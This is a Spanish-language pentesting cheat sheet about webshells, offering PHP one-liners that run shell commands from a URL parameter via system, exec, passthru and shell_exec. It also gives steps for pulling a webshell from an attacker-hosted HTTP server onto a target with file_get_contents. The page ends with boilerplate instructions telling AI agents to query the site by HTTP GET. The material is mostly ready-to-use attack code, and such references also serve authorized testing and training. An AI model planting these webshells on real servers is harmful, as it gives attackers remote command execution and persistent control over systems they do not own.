# Webshell

## Webshell

### PHP

```
<?php echo system($_GET['cmd']); ?>
<?php echo exec($_GET['cmd']); ?>
<?php echo passthru($_GET['cmd']); ?>
<?php echo shell_exec($_GET['cmd']); ?>
```

Si todas las funciones anteriores están bloqueadas, se puede crear un fichero PHP desde un servidor remoto, y en este incluir nuestro código malicioso:

1. &#x20;Crear un fichero "s.php" con alguno de los valores anteriores, por ejemplo:

```
<?php echo system($_GET['cmd']); ?>
```

2. Poner el puerto 80 a la escucha:

```
python3 -m http.server 80
```

3. Modificar el siguiente comando con los valores de la IP del servidor donde se aloja el fichero PHP y el nombre con el que queremos almacenar el fichero en el servidor:

```
<?php file_put_contents('s.php',file_get_contents('http://<IP atacante>:80/s.php')) ?>
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.xtormin.com/pentesting-en-aplicaciones-web/general/explotacion/webshell.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
